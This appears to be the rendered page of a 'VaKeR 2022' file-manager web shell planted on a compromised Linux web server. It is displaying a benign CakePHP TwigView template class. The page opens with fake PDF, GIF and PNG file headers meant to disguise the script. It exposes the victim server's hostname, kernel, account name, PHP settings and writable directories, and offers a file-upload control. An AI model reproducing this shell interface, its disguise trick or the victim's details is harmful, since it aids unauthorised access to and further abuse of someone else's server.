%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/vendor/wyrihaximus/twig-view/src/Shell/Task/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/vendor/wyrihaximus/twig-view/src/Shell/Task/TwigTemplateTask.php
<?php

/**
 * This file is part of TwigView.
 *
 ** (c) 2014 Cees-Jan Kiewiet
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace WyriHaximus\TwigView\Shell\Task;

use Bake\Shell\Task\TemplateTask;
use Cake\Console\Shell;
use Cake\Core\Configure;
use Cake\Utility\Inflector;

/**
 * Task class for creating and updating twig view template files.
 *
 */
class TwigTemplateTask extends TemplateTask
{

    public function name()
    {
        return 'twig_template';
    }

    /**
     * Assembles and writes bakes the twig view file.
     *
     * @param string $template Template to generate content with.
     * @param string $content Content to write.
     * @param string $outputFile The destination action name. If null, will fallback to $template.
     * @return string Generated file content.
     */
    public function bake($template, $content = '', $outputFile = null)
    {
        if ($outputFile === null) {
            $outputFile = $template;
        }
        if ($content === true) {
            $content = $this->getContent($template);
        }
        if (empty($content)) {
            $this->err("<warning>No generated content for '{$template}.ctp', not generating template.</warning>");

            return false;
        }
        $this->out("\n" . sprintf('Baking `%s` view twig template file...', $outputFile), 1, Shell::QUIET);
        $path = $this->getPath();
        $filename = $path . Inflector::underscore($outputFile) . '.twig';
        $this->createFile($filename, $content);

        return $content;
    }
}

VaKeR 2022